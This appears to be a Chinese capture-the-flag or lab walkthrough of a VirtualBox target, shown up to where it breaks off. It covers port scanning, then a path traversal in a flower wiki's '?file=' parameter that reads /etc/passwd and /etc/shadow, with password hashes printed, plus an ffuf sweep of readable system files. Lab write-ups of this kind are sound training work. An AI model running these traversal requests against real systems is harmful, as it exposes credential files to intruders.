端口扫描

```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nmap -p- -Pn 192.168.56.110
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-17 00:02 -0500
Nmap scan report for 192.168.56.110
Host is up (0.019s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
8080/tcp open  http-proxy
MAC Address: 08:00:27:42:B8:8A (Oracle VirtualBox virtual NIC)
```

细节探测

```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nmap -p- -Pn 192.168.56.110 -T4 -sC -sV -A
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-17 00:02 -0500
Stats: 0:00:25 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 71.80% done; ETC: 00:03 (0:00:06 remaining)
Nmap scan report for 192.168.56.110
Host is up (0.0021s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp   open  http       Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: index
3000/tcp open  ppp?
| fingerprint-strings:
|   DNSVersionBindReqTCP, Help, NCP, RPCCheck:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 200 OK
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie:
session=Ijk4MWQ5OTA3MmY5NDRhMGIi.MXbRt1mmdgv%2Bj%2BREXuOKYQeOf8RrHONyJsZ2yMeZWyc;
Path=/; HttpOnly; SameSite=Lax
|     Date: Tue, 17 Feb 2026 05:03:29 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <meta charset="utf-8">
|     <title>Flower App</title>
|     <style>
```

```
|     body { font-family: 'Segoe UI', 'Microsoft YaHei', sans-serif; background:
#fff0f5; color: #4a4a4a; display: flex; justify-content: center; align-items:
center; min-height: 100vh; margin: 0; }
|     .container { background: white; padding: 2rem; border-radius: 15px; box-
shadow: 0 4px 15px rgba(0,0,0,0.1); width: 400px; text-align: center; border: 2px
solid #ffbed2; }
|     color: #d63384; display: flex; align-items: center; justify-content:
center; gap: 10px; }
|     input { display: block; width: 100%; padding: 10px; margin: 10px 0; border:
1px solid #ddd; border
|   HTTPOptions, RTSPRequest:
|     HTTP/1.1 404 Not Found
|     Content-Type: text/plain; charset=utf-8
|     Date: Tue, 17 Feb 2026 05:03:29 GMT
|_    Connection: close
8080/tcp open  http-proxy
| fingerprint-strings:
|   FourOhFourRequest, GetRequest:
|     HTTP/1.1 200 OK
|     Content-Type: text/html; charset=utf-8
|     Date: Tue, 17 Feb 2026 05:03:24 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>
|     Wiki</title>
|     <meta charset="utf-8">
|     <style>
|     body { font-family: 'Segoe UI', sans-serif; padding: 0; margin: 0;
background: #f4f7f6; color: #333; display: flex; justify-content: center; min-
height: 100vh; }
|     .container { width: 100%; max-width: 800px; background: white; margin:
2rem; border-radius: 12px; box-shadow: 0 10px 25px rgba(0,0,0,0.05); overflow:
hidden; display: flex; flex-direction: column; }
|     .header { background: #2ecc71; color: white; padding: 20px; text-align:
center; }
|     .header h1 { margin: 0; font-size: 1.5rem; display: flex; align-items:
center; justify-content: center; gap: 10px; }
|     .nav { background: #eafaf1; padding: 15px; display:
|   HTTPOptions, RTSPRequest:
|     HTTP/1.1 405 Method Not Allowed
|     Content-Type: text/html; charset=utf-8
|     Date: Tue, 17 Feb 2026 05:03:24 GMT
|     Connection: close
|_    Method Not Allowed
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: \xF0\x9F\x8C\xBF
\xE8\x8A\xB1\xE5\x8D\x89\xE7\x9F\xA5\xE8\xAF\x86\xE5\xBA\x93 Wiki
2 services unrecognized despite returning data. If you know the service/version,
please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?
new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3000-TCP:V=7.98%I=7%D=2/17%Time=6993F6A2%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,73C,"HTTP/1\.1\x20200\x20OK\r\nContent-Type:\x20text/html;\x20
SF:charset=utf-8\r\nSet-Cookie:\x20session=Ijk4MWQ5OTA3MmY5NDRhMGIi\.MXbRt
```

```
SF:1mmdgv%2Bj%2BRExuOKYQeOf8RrHONyJsZ2yMeZWyc;\x20Path=/;\x20HttpOnly;\x20
SF:SameSite=Lax\r\nDate:\x20Tue,\x2017\x20Feb\x202026\x2005:03:29\x20GMT\r
SF:\nConnection:\x20close\r\n\r\n\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x2
SF:0\x20<meta\x20charset=\"utf-8\">\n\x20\x20<title>Flower\x20App</title>\
SF:n\x20\x20<style>\n\x20\x20body\x20{\x20font-family:\x20'Segoe\x20UI',\x
SF:20'Microsoft\x20YaHei',\x20sans-serif;\x20background:\x20#fff0f5;\x20co
SF:lor:\x20#4a4a4a;\x20display:\x20flex;\x20justify-content:\x20center;\x2
SF:0align-items:\x20center;\x20min-height:\x20100vh;\x20margin:\x200;\x20}
SF:\n\x20\x20\.container\x20{\x20background:\x20white;\x20padding:\x202rem
SF:;\x20border-radius:\x2015px;\x20box-shadow:\x200\x204px\x2015px\x20rgba
SF:\(0,0,0,0\.1\);\x20width:\x20400px;\x20text-align:\x20center;\x20border
SF::\x202px\x20solid\x20#ffbed2;\x20}\n\x20\x20h1\x20{\x20color:\x20#d6338
SF:4;\x20display:\x20flex;\x20align-items:\x20center;\x20justify-content:\
SF:x20center;\x20gap:\x2010px;\x20}\n\x20\x20input\x20{\x20display:\x20blo
SF:ck;\x20width:\x20100%;\x20padding:\x2010px;\x20margin:\x2010px\x200;\x2
SF:0border:\x201px\x20solid\x20#ddd;\x20border")%r(Help,2F,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOp
SF:tions,8A,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Type:\x20text/pla
SF:in;\x20charset=utf-8\r\nDate:\x20Tue,\x2017\x20Feb\x202026\x2005:03:29\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n\xe9\xa1\xb5\xe9\x9d\xa2\xe6\x9c\
SF:xaa\xe6\x89\xbe\xe5\x88\xb0")%r(RTSPRequest,8A,"HTTP/1\.1\x20404\x20Not
SF:\x20Found\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nDate:\x20
SF:Tue,\x2017\x20Feb\x202026\x2005:03:29\x20GMT\r\nConnection:\x20close\r\
SF:n\r\n\xe9\xa1\xb5\xe9\x9d\xa2\xe6\x9c\xaa\xe6\x89\xbe\xe5\x88\xb0")%r(R
SF:PCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\
SF:r\n\r\n")%r(DNSVersionBindReqTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nConnection:\x20close\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8080-TCP:V=7.98%I=7%D=2/17%Time=6993F69E%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,AE5,"HTTP/1\.1\x20200\x20OK\r\nContent-Type:\x20text/html;\x20
SF:charset=utf-8\r\nDate:\x20Tue,\x2017\x20Feb\x202026\x2005:03:24\x20GMT\
SF:r\nConnection:\x20close\r\n\r\n\n\x20\x20\x20\x20<!DOCTYPE\x20html>\n\x
SF:20\x20\x20\x20<html>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20<
SF:title>\xf0\x9f\x8c\xbf\x20\xe8\x8a\xb1\xe5\x8d\x89\xe7\x9f\xa5\xe8\xaf\
SF:x86\xe5\xba\x93\x20Wiki</title>\n\x20\x20\x20\x20\x20\x20<meta\x20chars
SF:et=\"utf-8\">\n\x20\x20\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20body\x20{\x20font-family:\x20'Segoe\x20UI',\x20sans-serif;\x20
SF:padding:\x200;\x20margin:\x200;\x20background:\x20#f4f7f6;\x20color:\x2
SF:0#333;\x20display:\x20flex;\x20justify-content:\x20center;\x20min-heigh
SF:t:\x20100vh;\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\.container\x20{\x20
SF:width:\x20100%;\x20max-width:\x20800px;\x20background:\x20white;\x20mar
SF:gin:\x202rem;\x20border-radius:\x2012px;\x20box-shadow:\x200\x2010px\x2
SF:025px\x20rgba\(0,0,0,0\.05\);\x20overflow:\x20hidden;\x20display:\x20fl
SF:ex;\x20flex-direction:\x20column;\x20}\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\.header\x20{\x20background:\x20#2ecc71;\x20color:\x20white;\x20paddin
SF:g:\x2020px;\x20text-align:\x20center;\x20}\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\.header\x20h1\x20{\x20margin:\x200;\x20font-size:\x201\.5rem;\x20
SF:display:\x20flex;\x20align-items:\x20center;\x20justify-content:\x20cen
SF:ter;\x20gap:\x2010px;\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\.nav\x20{\
SF:x20background:\x20#eafaf1;\x20padding:\x2015px;\x20display:\x20")%r(HTT
SF:POptions,95,"HTTP/1\.1\x20405\x20Method\x20Not\x20Allowed\r\nContent-Ty
SF:pe:\x20text/html;\x20charset=utf-8\r\nDate:\x20Tue,\x2017\x20Feb\x2020
SF:6\x2005:03:24\x20GMT\r\nConnection:\x20close\r\n\r\nMethod\x20Not\x20Al
SF:lowed")%r(RTSPRequest,95,"HTTP/1\.1\x20405\x20Method\x20Not\x20Allowed\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Tue,\x2017\
```

```
SF:x20Feb\x202026\x2005:03:24\x20GMT\r\nConnection:\x20close\r\n\r\nMethod
SF:\x20Not\x20Allowed")%r(FourOhFourRequest,AE5,"HTTP/1\.1\x20200\x20OK\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Tue,\x2017\x2
SF:0Feb\x202026\x2005:03:24\x20GMT\r\nConnection:\x20close\r\n\r\n\n\x20\x
SF:20\x20\x20<!DOCTYPE\x20html>\n\x20\x20\x20\x20<html>\n\x20\x20\x20\x20<
SF:head>\n\x20\x20\x20\x20\x20\x20<title>\xf0\x9f\x8c\xbf\x20\xe8\x8a\xb1\
SF:xe5\x8d\x89\xe7\x9f\xa5\xe8\xaf\x86\xe5\xba\x93\x20Wiki</title>\n\x20\x
SF:20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20
SF:<style>\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\x20font-family:\x20'
SF:Segoe\x20UI',\x20sans-serif;\x20padding:\x200;\x20margin:\x200;\x20back
SF:ground:\x20#f4f7f6;\x20color:\x20#333;\x20display:\x20flex;\x20justify-
SF:content:\x20center;\x20min-height:\x20100vh;\x20}\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20\.container\x20{\x20width:\x20100%;\x20max-width:\x20800px;
SF:\x20background:\x20white;\x20margin:\x202rem;\x20border-radius:\x2012px
SF:;\x20box-shadow:\x200\x2010px\x2025px\x20rgba\(0,0,0,0\.05\);\x20overfl
SF:ow:\x20hidden;\x20display:\x20flex;\x20flex-direction:\x20column;\x20}\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\.header\x20{\x20background:\x20#2ecc7
SF:1;\x20color:\x20white;\x20padding:\x2020px;\x20text-align:\x20center;\x
SF:20}\n\x20\x20\x20\x20\x20\x20\x20\x20\.header\x20h1\x20{\x20margin:\x20
SF:0;\x20font-size:\x201\.5rem;\x20display:\x20flex;\x20align-items:\x20ce
SF:nter;\x20justify-content:\x20center;\x20gap:\x2010px;\x20}\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\.nav\x20{\x20background:\x20#eafaf1;\x20padding:\
SF:x2015px;\x20display:\x20");
MAC Address: 08:00:27:42:B8:8A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   2.10 ms 192.168.56.110

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.53 seconds
```

curl一下80没东西，dirsearch也扫不出来东西

```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# curl http://192.168.56.110/
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>index</title>
</head>
<body>
    海内存知己，天涯若比邻。
</body>
</html>
```

```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# dirsearch -u http://192.168.56.110/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: UserWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources
package is slated for removal as early as 2025-11-30. Refrain from using this
package or pin to Setuptools<81.
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3

 (_||| _) (/_(_|| (_| )



Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist
size: 11460

Output File: /home/kali/Desktop/reports/http_192.168.56.110/__26-02-17_00-03-
47.txt

Target: http://192.168.56.110/

[00:03:47] Starting:

[00:03:49] 403 -  279B  - /.ht_wsr.txt
[00:03:49] 403 -  279B  - /.htaccess.bak1
[00:03:49] 403 -  279B  - /.htaccess.orig
[00:03:49] 403 -  279B  - /.htaccess.save
[00:03:49] 403 -  279B  - /.htaccess_extra
[00:03:49] 403 -  279B  - /.htaccess.sample
[00:03:49] 403 -  279B  - /.htaccess_sc
[00:03:49] 403 -  279B  - /.htaccessOLD2
[00:03:49] 403 -  279B  - /.htaccessOLD
[00:03:49] 403 -  279B  - /.htaccess_orig
[00:03:49] 403 -  279B  - /.htaccessBAK
[00:03:49] 403 -  279B  - /.html
[00:03:49] 403 -  279B  - /.htm
[00:03:49] 403 -  279B  - /.htpasswd_test
[00:03:49] 403 -  279B  - /.htpasswds
[00:03:49] 403 -  279B  - /.httr-oauth
[00:03:49] 403 -  279B  - /.php
[00:04:12] 403 -  279B  - /server-status
[00:04:12] 403 -  279B  - /server-status/

Task Completed
```

访问3000端口，是个花园登录界面，注册账号是admin的时候会被提示已经被占用了。

访问8080端口，这里可以看几种花的信息，注意他在检索花信息的时候使用了?file.

那还说啥了兄弟直接/etc/passwd

```
┌──(root㉿kaada)-[/home/kali/Desktop]
```

```
└─# curl http://192.168.56.110:8080/?file=../../../etc/passwd

    <!DOCTYPE html>
    <html>
    <head>
      <title>🌿 花卉知识库 Wiki</title>
      <meta charset="utf-8">
      <style>
        body { font-family: 'Segoe UI', sans-serif; padding: 0; margin: 0;
background: #f4f7f6; color: #333; display: flex; justify-content: center; min-
height: 100vh; }
        .container { width: 100%; max-width: 800px; background: white; margin:
2rem; border-radius: 12px; box-shadow: 0 10px 25px rgba(0,0,0,0.05); overflow:
hidden; display: flex; flex-direction: column; }
        .header { background: #2ecc71; color: white; padding: 20px; text-align:
center; }
        .header h1 { margin: 0; font-size: 1.5rem; display: flex; align-items:
center; justify-content: center; gap: 10px; }
        .nav { background: #eafaf1; padding: 15px; display: flex; gap: 10px;
flex-wrap: wrap; border-bottom: 1px solid #dcdcdc; }
        .nav a { text-decoration: none; color: #27ae60; padding: 8px 15px;
background: white; border-radius: 20px; font-size: 0.9rem; border: 1px solid
#ccebd6; transition: all 0.2s; }
        .nav a:hover, .nav a.active { background: #27ae60; color: white; border-
color: #27ae60; }
        .main { padding: 30px; flex-grow: 1; display: flex; flex-direction:
column; }
        .label { font-weight: bold; color: #999; font-size: 0.8rem; margin-
bottom: 10px; text-transform: uppercase; letter-spacing: 1px; }
        /* 阅读器样式 */
        .viewer {
          background: #2d3436;
          color: #dfe6e9;
          border-radius: 8px;
          padding: 20px;
          font-family: 'Consolas', 'Monaco', monospace;
          white-space: pre-wrap; /* 保持换行 */
          line-height: 1.6;
          overflow-x: auto;
          flex-grow: 1;
          border: 1px solid #ccc;
          box-shadow: inset 0 2px 10px rgba(0,0,0,0.2);
        }
        .error-msg { color: #ff7675; }
      </style>
    </head>
    <body>
      <div class="container">
        <div class="header">
          <h1>🌿 花卉养护知识库 <small style="font-size:0.6em; opacity:0.8;">
</small></h1>
        </div>
        <div class="nav">
          <a href="/?file=rose.txt" class="">📄 rose.txt</a><a href="/?
file=lily.txt" class="">📄 lily.txt</a><a href="/?file=sunflower.txt" class="">
📄 sunflower.txt</a><a href="/?file=tulip.txt" class="">📄 tulip.txt</a>
```

```
        </div>
        <div class="main">
          <div class="label">文档内容预览: ../../etc/passwd</div>
          <div class="viewer ">root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
Debian-exim:x:100:103::/var/spool/exim4:/usr/sbin/nologin
Sublarge:x:1001:1001::/home/Sublarge:/bin/bash
</div>
        </div>
      </div>
    </body>
    </html>
```

这里是可以直接把userflag读出来的。

之后ffuf了一下看看有没有什么有效信息。

```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u
"http://192.168.56.110:8080/?file=../../../../../FUZZ" -fw 575

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
_____________________________________________

 :: Method           : GET
 :: URL              : http://192.168.56.110:8080/?file=../../../../../FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-
gracefulsecurity-linux.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 575
_____________________________________________

/etc/fstab              [Status: 200, Size: 2574, Words: 579, Lines: 50,
Duration: 52ms]
/etc/passwd             [Status: 200, Size: 3521, Words: 576, Lines: 70,
Duration: 53ms]
/etc/shadow             [Status: 200, Size: 3238, Words: 574, Lines: 70,
Duration: 55ms]
/etc/aliases            [Status: 200, Size: 2724, Words: 587, Lines: 62,
Duration: 56ms]
/etc/motd               [Status: 200, Size: 2822, Words: 609, Lines: 56,
Duration: 57ms]
/etc/mysql/my.cnf       [Status: 200, Size: 3670, Words: 721, Lines: 78,
Duration: 55ms]
/etc/networks           [Status: 200, Size: 2600, Words: 574, Lines: 53,
Duration: 55ms]
/etc/mtab               [Status: 200, Size: 5003, Words: 694, Lines: 73,
Duration: 68ms]
/etc/profile            [Status: 200, Size: 3316, Words: 730, Lines: 83,
Duration: 51ms]
/etc/issue              [Status: 200, Size: 2564, Words: 578, Lines: 51,
Duration: 160ms]
/etc/resolv.conf        [Status: 200, Size: 2848, Words: 612, Lines: 60,
Duration: 70ms]
/etc/ssh/ssh_config     [Status: 200, Size: 4196, Words: 822, Lines: 102,
Duration: 70ms]
/etc/crontab            [Status: 200, Size: 3613, Words: 750, Lines: 71,
Duration: 195ms]
/proc/cpuinfo           [Status: 200, Size: 3496, Words: 686, Lines: 76,
Duration: 80ms]
/proc/filesystems       [Status: 200, Size: 2910, Words: 574, Lines: 79,
Duration: 81ms]
```

```
/proc/interrupts        [Status: 200, Size: 3931, Words: 1098, Lines: 81,
Duration: 81ms]
/proc/ioports           [Status: 200, Size: 3878, Words: 836, Lines: 102,
Duration: 83ms]
/proc/meminfo           [Status: 200, Size: 3847, Words: 1036, Lines: 96,
Duration: 83ms]
/proc/mounts            [Status: 200, Size: 5006, Words: 694, Lines: 73,
Duration: 79ms]
/proc/stat              [Status: 200, Size: 3290, Words: 868, Lines: 58,
Duration: 79ms]
/proc/swaps             [Status: 200, Size: 2637, Words: 605, Lines: 51,
Duration: 80ms]
/proc/version           [Status: 200, Size: 2678, Words: 587, Lines: 50,
Duration: 80ms]
/proc/self/net/arp      [Status: 200, Size: 2701, Words: 651, Lines: 51,
Duration: 80ms]
/etc/hosts              [Status: 200, Size: 2711, Words: 576, Lines: 56,
Duration: 239ms]
/proc/modules           [Status: 200, Size: 7167, Words: 1019, Lines: 138,
Duration: 96ms]
/var/log/faillog        [Status: 200, Size: 2543, Words: 574, Lines: 49,
Duration: 85ms]
/var/log/dpkg.log       [Status: 200, Size: 175484, Words: 12580, Lines: 2453,
Duration: 90ms]
/var/log/lastlog        [Status: 200, Size: 2543, Words: 574, Lines: 49,
Duration: 211ms]
/var/log/wtmp           [Status: 200, Size: 2540, Words: 574, Lines: 49,
Duration: 233ms]
/etc/adduser.conf       [Status: 200, Size: 5584, Words: 889, Lines: 146,
Duration: 153ms]
/etc/bash.bashrc        [Status: 200, Size: 4560, Words: 912, Lines: 107,
Duration: 64ms]
/etc/ca-certificates.conf [Status: 200, Size: 8657, Words: 637, Lines: 202,
Duration: 62ms]
/etc/debian_version     [Status: 200, Size: 2552, Words: 574, Lines: 50,
Duration: 95ms]
/etc/debconf.conf       [Status: 200, Size: 5513, Words: 984, Lines: 132,
Duration: 95ms]
/etc/group-             [Status: 200, Size: 3031, Words: 574, Lines: 91,
Duration: 65ms]
/etc/group              [Status: 200, Size: 3047, Words: 574, Lines: 92,
Duration: 65ms]
/etc/deluser.conf       [Status: 200, Size: 4250, Words: 794, Lines: 90,
Duration: 96ms]
/etc/hostname           [Status: 200, Size: 2553, Words: 574, Lines: 50,
Duration: 64ms]
/etc/issue.net          [Status: 200, Size: 2561, Words: 576, Lines: 50,
Duration: 76ms]
/etc/login.defs         [Status: 200, Size: 15114, Words: 2492, Lines: 451,
Duration: 90ms]
/etc/pam.conf           [Status: 200, Size: 3092, Words: 638, Lines: 64,
Duration: 107ms]
/etc/os-release         [Status: 200, Size: 2809, Words: 579, Lines: 58,
Duration: 107ms]
/etc/passwd-            [Status: 200, Size: 3475, Words: 576, Lines: 69,
Duration: 105ms]
```

```
/etc/security/limits.conf [Status: 200, Size: 5376, Words: 1408, Lines: 116,
Duration: 83ms]
/etc/security/opasswd   [Status: 200, Size: 2548, Words: 574, Lines: 49,
Duration: 83ms]
/etc/security/pam_env.conf [Status: 200, Size: 5536, Words: 1002, Lines: 122,
Duration: 83ms]
/etc/security/sepermit.conf [Status: 200, Size: 2972, Words: 679, Lines: 60,
Duration: 84ms]
/etc/security/namespace.conf [Status: 200, Size: 4192, Words: 819, Lines: 80,
Duration: 85ms]
/etc/security/access.conf [Status: 200, Size: 7116, Words: 1208, Lines: 171,
Duration: 93ms]
/etc/security/group.conf [Status: 200, Size: 6194, Words: 1263, Lines: 155,
Duration: 84ms]
/etc/security/time.conf [Status: 200, Size: 4737, Words: 915, Lines: 114,
Duration: 92ms]
/etc/shadow-            [Status: 200, Size: 3065, Words: 574, Lines: 69,
Duration: 76ms]
/etc/subversion/config  [Status: 200, Size: 11364, Words: 1847, Lines: 234,
Duration: 73ms]
/etc/sysctl.conf        [Status: 200, Size: 4901, Words: 823, Lines: 117,
Duration: 108ms]
/etc/timezone           [Status: 200, Size: 2548, Words: 574, Lines: 50,
Duration: 107ms]
/proc/self/fd/0         [Status: 200, Size: 2542, Words: 574, Lines: 49,
Duration: 42ms]
/proc/devices           [Status: 200, Size: 2995, Words: 656, Lines: 100,
Duration: 45ms]
/proc/net/tcp           [Status: 200, Size: 2843, Words: 697, Lines: 51,
Duration: 45ms]
/proc/self/cmdline      [Status: 200, Size: 2570, Words: 574, Lines: 49,
Duration: 45ms]
/proc/net/udp           [Status: 200, Size: 2799, Words: 643, Lines: 51,
Duration: 45ms]
/proc/self/environ      [Status: 200, Size: 2725, Words: 574, Lines: 49,
Duration: 45ms]
:: Progress: [881/881] :: Job [1/1] :: 1 req/sec :: Duration: [0:02:41] ::
Errors: 316 ::
```

奇怪的是这里居然能读到shadow。

```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# curl http://192.168.56.110:8080/?file=../../../etc/shadow

    <!DOCTYPE html>
    <html>
    <head>
      <title>🌿 花卉知识库 Wiki</title>
      <meta charset="utf-8">
      <style>
        body { font-family: 'Segoe UI', sans-serif; padding: 0; margin: 0;
background: #f4f7f6; color: #333; display: flex; justify-content: center; min-
height: 100vh; }
```

```
        .container { width: 100%; max-width: 800px; background: white; margin:
2rem; border-radius: 12px; box-shadow: 0 10px 25px rgba(0,0,0,0.05); overflow:
hidden; display: flex; flex-direction: column; }
        .header { background: #2ecc71; color: white; padding: 20px; text-align:
center; }
        .header h1 { margin: 0; font-size: 1.5rem; display: flex; align-items:
center; justify-content: center; gap: 10px; }
        .nav { background: #eafaf1; padding: 15px; display: flex; gap: 10px;
flex-wrap: wrap; border-bottom: 1px solid #dcdcdc; }
        .nav a { text-decoration: none; color: #27ae60; padding: 8px 15px;
background: white; border-radius: 20px; font-size: 0.9rem; border: 1px solid
#ccebd6; transition: all 0.2s; }
        .nav a:hover, .nav a.active { background: #27ae60; color: white; border-
color: #27ae60; }
        .main { padding: 30px; flex-grow: 1; display: flex; flex-direction:
column; }
        .label { font-weight: bold; color: #999; font-size: 0.8rem; margin-
bottom: 10px; text-transform: uppercase; letter-spacing: 1px; }
        /* 阅读器样式 */
        .viewer {
          background: #2d3436;
          color: #dfe6e9;
          border-radius: 8px;
          padding: 20px;
          font-family: 'Consolas', 'Monaco', monospace;
          white-space: pre-wrap; /* 保持换行 */
          line-height: 1.6;
          overflow-x: auto;
          flex-grow: 1;
          border: 1px solid #ccc;
          box-shadow: inset 0 2px 10px rgba(0,0,0,0.2);
        }
        .error-msg { color: #ff7675; }
      </style>
    </head>
    <body>
      <div class="container">
        <div class="header">
          <h1>🌿 花卉养护知识库 <small style="font-size:0.6em; opacity:0.8;">
</small></h1>
        </div>
        <div class="nav">
          <a href="/?file=rose.txt" class="">📄 rose.txt</a><a href="/?
file=lily.txt" class="">📄 lily.txt</a><a href="/?file=sunflower.txt" class="">
📄 sunflower.txt</a><a href="/?file=tulip.txt" class="">📄 tulip.txt</a>
        </div>
        <div class="main">
          <div class="label">文档内容预览: ../../etc/shadow</div>
          <div class="viewer
">root:$y$j9T$8C69OIxlpOpAFne5pE/vkO$uQkWjRVfSPmeOJQlJisFaHhztEhpwTWu/MYLI4OgKa1:
20501:0:99999:7:::
daemon:*:20486:0:99999:7:::
bin:*:20486:0:99999:7:::
sys:*:20486:0:99999:7:::
sync:*:20486:0:99999:7:::
games:*:20486:0:99999:7:::
```

```
man:*:20486:0:99999:7:::
lp:*:20486:0:99999:7:::
mail:*:20486:0:99999:7:::
news:*:20486:0:99999:7:::
uucp:*:20486:0:99999:7:::
proxy:*:20486:0:99999:7:::
www-data:*:20486:0:99999:7:::
backup:*:20486:0:99999:7:::
list:*:20486:0:99999:7:::
irc:*:20486:0:99999:7:::
_apt:*:20486:0:99999:7:::
nobody:*:20486:0:99999:7:::
node:!:20487:0:99999:7:::
Debian-exim:!:20499:::::
Sublarge:$y$j9T$aV1fQFsv4GncXi1tlxnKJ.$MBcaBMz4jff7EMbVqKvkFcOQmqox5329dJtItZf.v8
8:20501:0:99999:7:::
</div>
        </div>
      </div>
    </body>
    </html>
```

几乎可以肯定这是个容器环境了，还是以root运行的进程。

使用进程命令读自身文件名。

```
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# curl -s "http://192.168.56.110:8080/?file=../../../../../proc/self/cmdline" -
-output - | tr '\0' ' '

    <!DOCTYPE html>
    <html>
    <head>
      <title>🌿 花卉知识库 Wiki</title>
      <meta charset="utf-8">
      <style>
        body { font-family: 'Segoe UI', sans-serif; padding: 0; margin: 0;
background: #f4f7f6; color: #333; display: flex; justify-content: center; min-
height: 100vh; }
